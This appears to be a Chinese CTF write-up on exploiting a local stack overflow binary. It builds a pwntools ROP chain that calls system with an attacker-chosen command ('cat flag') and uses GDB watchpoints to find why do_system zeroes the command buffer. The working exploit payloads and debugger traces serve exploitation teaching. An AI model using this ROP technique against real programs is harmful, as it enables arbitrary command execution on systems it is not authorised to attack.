上一篇文章在执行 system
函数的时候是使用的 libc 中的 /bin/sh
字符串,如果我们想运行一个自定义的命令那就不一定能在内存中找到了,万幸的是 student
结构体的内存也是可以控制的,我们可以在结构体中也放入一个字符串,这样就可以实现任意参数了。
可以把参数放在结构体的开头,shellcode 大致就是这个样子的
from pwn import *
student = 0x7fffffffe2f0
cmd = "cat flag\x00"
shellcode = "1925\n" + cmd
shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# cmd
shellcode += p64(student)
# system
shellcode += p64(0x400550)
print shellcode
但是在 GDB 中直接运行会发现进程虽然启动了 /bin/sh
,但是 cat
没有执行,为了调试这个问题,还是先搞清楚 system
的实现比较好。
标准库里面的 system
在 Linux 下实际就是 __libc_system
int
__libc_system (const char *line)
{
if (line == NULL)
/* Check that we have a command processor available. It might
not be available after a chroot(), for example. */
return do_system ("exit 0") == 0;
return do_system (line);
}
然后 do_system
才是真正的逻辑,在 GitHub 上有人 mirror 了一份源码,简单的原理就是 fork
之后在子进程 execve
,其中参数是
new_argv[0] = SHELL_NAME; // 源码开头定义的,目前是 sh
new_argv[1] = "-c";
new_argv[2] = line; // 就是 system 函数的参数
new_argv[3] = NULL; // 代表数组结束
如果说看到新的 /bin/sh
进程启动了,但是命令没有执行,那一般就出在 fork
之后的步骤了,所以我们在 __execve
上下断点,看下参数是否正确。
➜ new gdb vuln
Breakpoint 1 at 0x400550
gdb-peda$ r < in.txt
...
gdb-peda$ b __execve
Breakpoint 2 at 0x7ffff7ad9770: file ../sysdeps/unix/syscall-template.S, line 84.
gdb-peda$ c
Continuing.
[New process 20226]
[Switching to process 20226]
[----------------------------------registers-----------------------------------]
RDX: 0x7fffffffe438 --> 0x7fffffffe6db ("LANG=en_US.UTF-8")
RSI: 0x7fffffffe208 --> 0x7ffff7b99d1c --> 0x2074697865006873 ('sh')
RDI: 0x7ffff7b99d17 --> 0x68732f6e69622f ('/bin/sh')
RBP: 0x0
RSP: 0x7fffffffe1d0 --> 0x7ffff7a52299 (<do_system+1145>: mov edi,0x7f)
[-------------------------------------code-------------------------------------]
0x7ffff7ad9762 <__GI__exit+82>: mov DWORD PTR fs:[r9],eax
0x7ffff7ad9766 <__GI__exit+86>: jmp 0x7ffff7ad973f <__GI__exit+47>
0x7ffff7ad9768: nop DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7ad9770 <execve>: mov eax,0x3b
0x7ffff7ad9775 <execve+5>: syscall
0x7ffff7ad9777 <execve+7>: cmp rax,0xfffffffffffff001
0x7ffff7ad977d <execve+13>: jae 0x7ffff7ad9780 <execve+16>
0x7ffff7ad977f <execve+15>: ret
[------------------------------------stack-------------------------------------]
...
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Thread 2.1 "vuln" hit Breakpoint 2, execve () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
可以看出程序停在了 execve
函数内部的开头,这个函数是三个参数,所以检查 rdi, rsi, rdx 三个寄存器就可以了。
rdi 在上面可以直接看到,是 /bin/sh
没问题。
rsi 是第二个参数,类型是 char *const argv[]
,也就是指针数组,先看下地址
gdb-peda$ x/4xg $rsi
0x7fffffffe208: 0x00007ffff7b99d1c 0x00007ffff7b99d14
0x7fffffffe218: 0x00007fffffffe2f0 0x0000000000000000
gdb-peda$ x/s 0x00007ffff7b99d1c
0x7ffff7b99d1c: "sh"
gdb-peda$ x/s 0x00007ffff7b99d14
0x7ffff7b99d14: "-c"
gdb-peda$ x/s 0x00007fffffffe2f0
0x7fffffffe2f0: ""
gdb-peda$ x/8xb 0x00007fffffffe2f0
0x7fffffffe2f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
目前 argv
是 ["sh", "-c", "", NULL]
的状态,第一个参数惯例都是进程自己的路径,第二个 -c
也是预期的,而第三个应该是我们执行的指令才对,也就是 echo
,而现在这个地址指向的内存都变成了0,所以 execve
就会出错。但是这个地址是 student
结构体的起始位置,为什么会被清空了呢?这时候就需要监视变量或者内存地址的指令了,那就是 watch
。
➜ new gdb vuln
gdb-peda$ b system
Breakpoint 1 at 0x400550
gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
Breakpoint 1, __libc_system (line=0x7fffffffe2f0 "echo cmd") at ../sysdeps/posix/system.c:179
179 ../sysdeps/posix/system.c: No such file or directory.
gdb-peda$ x/16xb 0x7fffffffe2f0
0x7fffffffe2f0: 0x65 0x63 0x68 0x6f 0x20 0x63 0x6d 0x64
0x7fffffffe2f8: 0x00 0x41 0x41 0x41 0x41 0x41 0x41 0x41
gdb-peda$ watch *0x7fffffffe2f0
Hardware watchpoint 2: *0x7fffffffe2f0
gdb-peda$ b __execve
Breakpoint 3 at 0x7ffff7ad9770: file ../sysdeps/unix/syscall-template.S, line 84.
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x7fffffffe2f0 --> 0x0
RCX: 0x7
RDX: 0x7fffffffe2b0 --> 0x0
RSI: 0x1
RDI: 0x7fffffffe2f8 --> 0x4141414141414100 ('')
RBP: 0x7fffffffe2a8 --> 0x1
RSP: 0x7fffffffe1d8 --> 0x0
RIP: 0x7ffff7a51e60 (<do_system+64>: rep stos QWORD PTR es:[rdi],rax)
R8 : 0x2e6572654820646e ('nd Here.')
R9 : 0x1b
R10: 0x547
R11: 0x7ffff7a52390 (<__libc_system>: test rdi,rdi)
R12: 0x4005c0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe420 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff7a51e4e <do_system+46>: mov DWORD PTR [rsp+0x158],0x0
0x7ffff7a51e59 <do_system+57>: lea rdx,[rbp+0x8]
0x7ffff7a51e5d <do_system+61>: mov rdi,rdx
=> 0x7ffff7a51e60 <do_system+64>: rep stos QWORD PTR es:[rdi],rax
0x7ffff7a51e63 <do_system+67>: cmp DWORD PTR [rip+0x3848d6],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads>
0x7ffff7a51e6a <do_system+74>: je 0x7ffff7a51e78 <do_system+88>
0x7ffff7a51e6c <do_system+76>: lock cmpxchg DWORD PTR [rip+0x38162c],esi # 0x7ffff7dd34a0 <lock>
0x7ffff7a51e74 <do_system+84>: jne 0x7ffff7a51e81 <do_system+97>
Hardware watchpoint 2: *0x7fffffffe2f0
Old value = 0x6f686365
New value = 0x0
0x00007ffff7a51e60 in do_system (line=0x7ffff7a51e60 "") at ../sysdeps/posix/system.c:66
66 in ../sysdeps/posix/system.c
在 0x7ffff7a51e60
rep stos QWORD PTR es:[rdi],rax
指令这里修改了 0x7ffff7a51e60
的内容,New value
就是 0。
rep
执行可以加在很多指令前面,表示循环执行 $rdx
次,stos QWORD PTR es:[rdi],rax
是把 RAX 寄存器的值(目前为0)复制到 ,再查看相关的内存地址果然是这样的。
gdb-peda$ x/128xb 0x7fffffffe2f0
0x7fffffffe2f0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe2f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe300: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe308: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe310: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe318: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe320: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe328: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe330: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffe338: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0x7fffffffe340: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
搞清楚哪部分数据会被覆盖就可以针对性的改写 shellcode 了,可以把命令行放在最后面。
from pwn import *
student = 0x7fffffffe2f0
# 确定后面会是 \x00 了就先不手写结束符了,方便定位地址,否则 cmd 会变成 9 个字节
cmd = "cat flag"
shellcode = "1925\n"
shellcode += "A" * (0x7fffffffe348 - student - len(cmd))
shellcode += cmd
# pop rdi; ret
shellcode += p64(0x0000000000400803)
# cmd
shellcode += p64(0x7fffffffe340)
# system
shellcode += p64(0x400550)
print shellcode
gdb-peda$ r < in.txt
Starting program: /home/virusdefender/Desktop/pwn/new/vuln < in.txt
0x7fffffffe2f0What's Your Birth?
What's Your Name?
You Are Born In 1094795585
You Are Naive.
You Speed One Second Here.
[New process 20726]
process 20726 is executing new program: /bin/dash
[New process 20727]
process 20727 is executing new program: /bin/cat
THIS_IS_FLAG
[Inferior 3 (process 20727) exited normally]